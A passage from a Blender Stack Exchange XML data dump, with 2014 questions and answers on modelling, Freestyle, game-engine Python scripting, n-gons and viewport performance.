slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PrjuJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To finish you would extrude the flat model and perhaps add a bevel modifier.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-03-12T07:18:13.193" LastActivityDate="2014-03-12T07:18:13.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7708" PostTypeId="2" ParentId="7701" CreationDate="2014-03-12T08:32:52.457" Score="2" Body="&lt;p&gt;Put your objects into groups, depending on the group freestyle can apply the linestile or not. Go to the Freestyle Lineset Options and hit the &quot;Group&quot;-button. Below there will be a new field &quot;Group&quot; and two buttons &quot;Inclusive&quot; and &quot;Exclusive&quot;. &lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2014-03-12T08:32:52.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7709" PostTypeId="2" ParentId="7581" CreationDate="2014-03-12T09:02:28.407" Score="1" Body="&lt;p&gt;The python script that i used earlier used a function call inside the loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_plane_add(location=(x,y,z))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a result of which the blender was updating the scene by iterating over all the previously existing objects in the scene in each loop iteration. Below link explains the problem and gives the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7358/python-performance-with-blender-operators&quot;&gt;Python performance with Blender operators&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2713" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-03-12T09:02:28.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7710" PostTypeId="1" CreationDate="2014-03-12T10:35:19.783" Score="1" ViewCount="3675" Body="&lt;p&gt;I have a scene having 54000 planes in it. Blender is responding very slowly to the actions performed on this scene. Even the simple view changing operations done using middle mouse button are responding very slowly. And when i try to render them , blender stops working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is happening because of such large no. of planes having no connectivity between them at all, but 54000 planes is a very small number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me the exact reason of this problem and how to correct it to make blender more responsive with so many no. planes?&lt;/p&gt;&#xA;" OwnerUserId="2713" LastActivityDate="2014-03-12T19:25:36.733" Title="Blender getting very slow in handling large data?" Tags="&lt;geometry&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7711" PostTypeId="2" ParentId="5596" CreationDate="2014-03-12T12:31:45.630" Score="1" Body="&lt;p&gt;python is also useful to create scenes/animations based on external data (e.g. large lists of coordinates of objects to be displayed)&lt;/p&gt;&#xA;" OwnerUserId="2762" LastActivityDate="2014-03-12T12:31:45.630" CommentCount="1" CommunityOwnedDate="2014-03-12T12:31:45.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="7712" PostTypeId="1" AcceptedAnswerId="7766" CreationDate="2014-03-12T13:12:17.643" Score="8" ViewCount="2406" Body="&lt;h2&gt;The Goal&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm writing a Blender add-on that extracts a point cloud from multiple photos. This operation is implemented as an Operator that is invoked from a Panel button. This Operator, once started takes a lot of time to finish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to inform the user about the progress of the operation, via some kind of status text. What is the best way to script this?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I've Tried Already&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Currently, I have a status message label in the Panel which invokes the &quot;Start SFM&quot; Operator. This displays the text stored in a Scene Property called &lt;em&gt;currentStatus&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ix8ho.png&quot; alt=&quot;Panel snapshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Operator's Execute method, I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;    thr = threading.Thread(target=self.foo, args=(context,))&#xA;    thr.start()&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the time-consuming method foo, I update &lt;em&gt;currentStatus&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def foo(self, context):&#xA;    context.scene.currentStatus = &quot;Starting...&quot;&#xA;    # Time consuming operation 1&#xA;    context.scene.currentStatus = &quot;Operation 1 Completed&quot;&#xA;    # Time consuming operation 2&#xA;    context.scene.currentStatus = &quot;Operation 2 Completed&quot;&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem with this is that the label only updates when it is moused over or if the user clicks on the scene. It does not redraw automatically. I have failed at several attempts to  force a redraw through python. I have tried polling, but it behaves similarly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something, or is this a completely wrong way to approach the problem?&lt;/p&gt;&#xA;" OwnerUserId="978" LastActivityDate="2014-03-15T17:21:30.040" Title="How to display progress notifications from an Operator?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7713" PostTypeId="2" ParentId="7137" CreationDate="2014-03-12T13:35:16.900" Score="1" Body="&lt;p&gt;There are many great VSE add ons that you could look at for inspiration. Also consider reducing your complexity. Perhaps you could create sub scenes, each containing the png sequence you need. then you could iterate those scene strips in your master VSE scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After setting up a repetition of the strip stacks (in the master scene) you could make a simple command line render of the master scene with an array for start / end frames to give you discreet composited renders.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-03-12T13:35:16.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7714" PostTypeId="1" CreationDate="2014-03-12T14:09:46.583" Score="2" ViewCount="1370" Body="&lt;p&gt;For my art lesson I want to use blender to create burnt down Letters. I know how to texture it but I don't have an idea how I should model it. The idea is that the shape is still visible but the has a rough/deformed surface. Like a piece of wood that burnt but didn't break (like a matchstick?). I don't know how I could describe it better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example look:&lt;img src=&quot;https://significantobjects.edublogs.org/files/2011/01/burned-wood-1m35ha1.jpg&quot; alt=&quot;Burned wood&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.313" LastActivityDate="2014-03-12T17:36:17.450" Title="How to make (focused on modeling) burnt wood" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" ClosedDate="2014-03-13T02:57:01.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="7715" PostTypeId="2" ParentId="7714" CreationDate="2014-03-12T14:36:03.120" Score="0" Body="&lt;p&gt;As a strting point you could &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Subdivide&lt;/em&gt;&lt;/a&gt;  &lt;kbd&gt;W&lt;/kbd&gt;  a scaled cube and adjust the number of cuts and add fractal randomness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1J15g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-03-12T14:36:03.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7716" PostTypeId="2" ParentId="2784" CreationDate="2014-03-12T15:18:39.093" Score="6" Body="&lt;p&gt;Incoming Blender 2.7 have the Wireframe modifier. The tool replaces the object of his wire.  You can set thickness and different material for wires. Short tutorial (1:44) is here &lt;a href=&quot;https://www.youtube.com/watch?v=ZgaFHDVFCMQ&quot;&gt;https://www.youtube.com/watch?v=ZgaFHDVFCMQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2579" LastActivityDate="2014-03-12T15:18:39.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7717" PostTypeId="2" ParentId="7714" CreationDate="2014-03-12T17:36:17.450" Score="3" Body="&lt;p&gt;You can create a burnt wood look by sculpting. Disclaimer: I am not very good at sculpting&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EyjLr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is how I did it:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First add a cube and scale it to the dimensions of the wood plank.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add enough edge loops so that all polygons look square&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LxalU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivide the mesh in edit mode to a point where the square are about the size of the detail you want.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QLxOg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a displacement modifier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RyFZs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to sculpt mode and use the clay stripes brush&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/omiTs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat until happy.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-12T17:36:17.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7718" PostTypeId="1" CreationDate="2014-03-12T17:39:05.310" Score="4" ViewCount="1526" Body="&lt;p&gt;What it says in the title, I'm trying to make a sphere with 5 flat sides so I can place a cone on top each one in a star esque pattern but I have no idea how to do so. Ideally they'd want to be equal in radius. Thanks for reading.&lt;/p&gt;&#xA;" OwnerUserId="2780" LastActivityDate="2014-03-13T19:18:09.690" Title="How do I make a sphere with 5 flat sides?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="8" ClosedDate="2014-03-18T04:06:06.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="7719" PostTypeId="1" AcceptedAnswerId="7720" CreationDate="2014-03-12T18:13:34.433" Score="1" ViewCount="353" Body="&lt;p&gt;I'm trying to make it so that when the user clicks while the game is playing, it converts the quads of the &quot;Gem&quot; object into tris.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the camera with a sensor for the Left Mouse Button connected to a python controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The python script is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge,bpy&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;lclick = cont.sensors[&quot;lclick&quot;]&#xA;&#xA;if lclick.positive:&#xA;    print(len(bpy.data.objects[&quot;Gem&quot;].data.vertices))&#xA;    cam = cont.owner&#xA;    origMode = bpy.context.object.mode&#xA;    bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;    bpy.ops.object.select_all(action=&quot;DESELECT&quot;)&#xA;    bpy.data.objects[&quot;Gem&quot;].select = True&#xA;    bpy.ops.object.mode_set(mode = 'EDIT')&#xA;    bpy.ops.mesh.quads_convert_to_tris()&#xA;    bpy.ops.object.mode_set(mode = origMode)&#xA;    print(len(bpy.data.objects[&quot;Gem&quot;].data.polygons))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to fail sometimes depending on what was selected before starting. When it doesn't work, it gives me the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: Converting py args to operator properties: enum &quot;EDIT&quot; not found in ('OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore, when I exit the game engine, it does indeed show that &quot;Object mode&quot; is the only available mode for the selection, despite the fact that it shows the &quot;Gem&quot; object as the only thing selected (though, it is outlined in a darker orange than usual).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this not be done this way in the game engine? Is there a better way to do it?  &lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2014-03-12T18:21:32.807" LastActivityDate="2014-03-12T18:35:23.683" Title="Selection Problems with Converting Quads to Tris in Game Engine?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7720" PostTypeId="2" ParentId="7719" CreationDate="2014-03-12T18:35:23.683" Score="3" Body="&lt;p&gt;Running &lt;code&gt;bpy.ops&lt;/code&gt; operators in the game engine wont work well (if at all),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best have the triangulated mesh on a hidden layer, and swap in the triangulated mesh when you need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, if you really wanted you could use LibLoad to convert a mesh while the game runs, and you could also use bmesh to triangulate the mesh, but this is fairly advanced API use, and Id not really recommend it since it wont work in the blender player.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-03-12T18:35:23.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7721" PostTypeId="1" CreationDate="2014-03-12T18:36:46.250" Score="4" ViewCount="6497" Body="&lt;p&gt;Why do some faces in Edit mode when I have Faces selected do some of the faces not have black dots? When I try to subdivide those, it doesn't work properly (all that happens is the black dots of neighboring faces move closer to the selected face).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On further investigation, I found that the faces ended up facing inwards instead of outwards. Is there a way of easily fixing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what is happening:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UC4Zd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2779" LastEditorUserId="29301" LastEditDate="2018-10-14T23:15:48.907" LastActivityDate="2019-10-02T00:37:54.677" Title="Faces without black dots" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;faces&gt;" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7722" PostTypeId="2" ParentId="7721" CreationDate="2014-03-12T18:46:36.073" Score="3" Body="&lt;p&gt;The Face dot it drawn at the geometric center of the vertices that make up the face. If you are using Ngons you may not see it actually anywhere inside of the face. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D6Gti.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is that you face dots are too small. To increase the size you can go to the theme setting in the preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t4tsV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see here the Ngons are not subdividing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wiL1z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-12T18:46:36.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7723" PostTypeId="2" ParentId="7721" CreationDate="2014-03-12T18:51:13.787" Score="0" Body="&lt;p&gt;EDIT: To solve backward normals, (in edit mode) select Mesh -&gt; Normals -&gt; Recalculate Outside. This will recalculate all the normals so they point outward, but only works on a fully manifold (completely enclosed) mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: In your case, it looks like you have some coincident faces (two faces that share some or all of the same surface area), and several n-gons. The part of the leg on the bottom right is probably an n-gon that just doesn't look like it. You may have two vertices very close to each other that look like one vertex, which would mean that this face is attached to 5 verts, when it looks like only 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve most of these problems, &lt;a href=&quot;https://www.youtube.com/watch?v=ADBmqYzxcwo&quot; rel=&quot;nofollow&quot;&gt;remove doubles&lt;/a&gt;. This will combine any vertices that are so close to each other that they look like one vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the coincident faces, you'll have to be really scrupulous about finding out exactly which vertices each face is composed of. You can select a face, Delete -&gt; Faces Only and then rebuild the face the way you want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=== original answer ===&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Standard polygons have 3 or 4 sides. In some versions of Blender, non-standard polygons (sometimes called n-gons) don't have their centers marked (as with &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.63/BMesh&quot; rel=&quot;nofollow&quot;&gt;these examples&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N-gons also don't subdivide the same way that other polygons do in Blender. If you subdivide an n-gon, then the new vertices just become part of the perimeter of the n-gon because they n-gon doesn't need to subdivide (and the algorithm doesn't know how to subdivide n-gons). This is why you just see the number of dots around the edge increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this problem, you'll want to make the n-gon into a set of standard polygons (3 or 4-sided), which can sometimes be difficult, but is always possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-03-12T19:00:13.463" LastActivityDate="2014-03-12T19:00:13.463" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7724" PostTypeId="2" ParentId="7710" CreationDate="2014-03-12T19:25:36.733" Score="1" Body="&lt;p&gt;The answer to the question you asked is that 54000 individual objects is significantly different from 54000 polygons, so it's not surprising that Blender is having trouble with that many individual objects. There are some ways to &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?257323-What-everybody-needs-to-know-about-Blender-Viewport-performance&quot; rel=&quot;nofollow&quot;&gt;improve viewport performance&lt;/a&gt; like turning on VBOs in the user preferences, but I don't think any of them will be terribly helpful at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all the planes were joined into one object, it'd probably perform much better, but it doesn't seem like that would be very helpful, for what you're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to the question you didn't ask ;-) is that this is a really expensive way to render a point cloud in Blender. There are two tools that will probably be very useful to you. &lt;a href=&quot;http://www.blendernation.com/2012/09/25/getting-point-clouds-into-blender/&quot; rel=&quot;nofollow&quot;&gt;One will get point clouds into Blender&lt;/a&gt;, and the other &lt;a href=&quot;http://www.blendernation.com/2012/01/12/python-script-point-cloud-skinner/&quot; rel=&quot;nofollow&quot;&gt;will skin point clouds in Blender&lt;/a&gt;. And this will probably be much more workable than your current solution ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-03-12T19:25:36.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7725" PostTypeId="2" ParentId="7653" CreationDate="2014-03-12T19:43:11.013" Score="1" Body="&lt;p&gt;This may be a problem with the frequent changing of frames (including logic events) in the game engine. Using the subprocess module to start a new process outside of the game engine main loop may solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this is what I used to retrieve data from an HTTP server and communicate what I had fetched back to the game engine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import subprocess&#xA;&#xA;gD = bge.logic.globalDict&#xA;&#xA;if gD['OS'] == 'Linux':&#xA;    saa = subprocess.Popen(gD['ModulePath']+'RetrieveFormData.py', shell=False, stdin=subprocess.PIPE)&#xA;    goa = saa.communicate(bytes(gD['ServerIP']+','+gD['InstallationPath'],'utf-8'))&#xA;if gD['OS'] == 'Windows':&#xA;    saa = subprocess.Popen([sys.executable,gD['ModulePath']+'RetrieveFormData.py'], shell=False, stdin=subprocess.PIPE)&#xA;    goa = saa.communicate(bytes(gD['ServerIP']+','+gD['InstallationPath'],'utf-8'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this provided you with a clue if nothing more.&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="1476" LastEditDate="2014-03-12T20:45:58.597" LastActivityDate="2014-03-12T20:45:58.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7726" PostTypeId="1" CreationDate="2014-03-12T21:10:43.190" Score="2" ViewCount="1019" Body="&lt;p&gt;I have ready eyes (a mirrored pair of eyeballs) with an annular section coloured by a material. I want the annulus to serve as the iris. So I got a jpg image of the iris from an eye photo and want this to be applied to the annulus.&#xA;I opened a UV window and imported this iris image.  I next selected the annulus in Edit mode in the 3D window picked the 'Project from view option' and in the material panel, I opened this image as a texture.&#xA; But the image does not appear on the mesh.&lt;/p&gt;&#xA;" OwnerUserId="2782" LastActivityDate="2014-03-12T21:10:43.190" Title="Using the 'Project from view' option for unwrapping?" Tags="&lt;uv&gt;&lt;image&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2014-05-24T04:22:28.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="7727" PostTypeId="2" ParentId="4919" CreationDate="2014-03-12T21:19:01.940" Score="1" Body="&lt;p&gt;I understand the question as follows:&#xA;You want an object's rotation to be locked in game engine runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I would solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1). Choose the object you want to work with. The freezing will only work on that object with this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2). Go to the logic editor and make a Property sensor of type Boolean. It shall be named &quot;Perm&quot;. Activate pulse triggering and set the frequency to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3). Create a game property of type &quot;Boolean&quot; named &quot;Lock&quot; that is initially set to false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(4). Make a &quot;python&quot; type controller in the logic editor and connect it to the Boolean sensor Perm. It shall be named &quot;LockXYZ&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(5). Make a sensor of your choice that will set the boolean to true when you want the object's rotation to freeze. The sensor shall be named &quot;Atog&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(6). Create a Property actuator that connects to Atog. This actuator will set Perm to &quot;True&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(7). Open the text editor and create a new text called &quot;LockScriptXYZ.py&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paste the following in &quot;LockScriptXYZ.py&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;own.worldAngularVelocity.x = 0.0&#xA;own.worldAngularVelocity.y = 0.0&#xA;own.worldAngularVelocity.z = 0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(8). Choose the script &quot;LockScriptXYZ.py&quot; for the python controller &quot;LockXYZ&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this was what you were looking for, but at least it's specific.&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="311" LastEditDate="2014-03-12T21:37:14.740" LastActivityDate="2014-03-12T21:37:14.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7728" PostTypeId="2" ParentId="7657" CreationDate="2014-03-12T22:23:44.503" Score="2" Body="&lt;p&gt;An add-on, called &quot;sun position&quot;, will position the sun for architectural ( or other purposes ) based on location, time, and date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Sun_Position&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Sun_Position&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2163" LastActivityDate="2014-03-12T22:23:44.503" CommentCount="0" CommunityOwnedDate="2014-03-12T22:23:44.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="7729" PostTypeId="1" AcceptedAnswerId="7730" CreationDate="2014-03-13T00:22:38.290" Score="20" ViewCount="41649" Body="&lt;p&gt;I created a kind of procedural modeled ground (rocks desert like), with some decimate modifiers to have a really crazy topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is nice, except for some ngons faces that contains some weird normals, due to the elevation difference of several vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QXvO5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to avoid this? My first guess is to &quot;flatten the face, but I can't figure out the way to do this operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must specify that the face is not perpendicular to the Z axis, so a zero-Z-scaling (&lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt;) won't work here.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="55" LastEditDate="2015-06-11T12:28:40.367" LastActivityDate="2020-11-16T13:33:45.690" Title="How to flatten a face to avoid distortion (make an ngon planar)" Tags="&lt;modeling&gt;&lt;normals&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7730" PostTypeId="2" ParentId="7729" CreationDate="2014-03-13T00:25:31.027" Score="23" Body="&lt;p&gt;You can scale along the normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the &lt;em&gt;Transform orientation&lt;/em&gt; to &lt;em&gt;Normal&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rFZcT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-13T00:25:31.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7731" PostTypeId="2" ParentId="7729" CreationDate="2014-03-13T00:30:26.933" Score="12" Body="&lt;p&gt;You can also use the flatten tool. This tool is part of an add-on that comes bundeled with blender. It is called &quot;Loop Tools&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a2udy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can invoke it by going to the loops tools in the specials menu, &lt;kbd&gt;W&lt;/kbd&gt; -&gt; Loop Tools -&gt; Flatten.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RgtHR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable it in the user preferences:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;go to the Addon Tab&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for &quot;Loop Tools&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable it by ticking the checkmark&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UXWYg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-13T00:36:19.893" LastActivityDate="2014-03-13T00:36:19.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
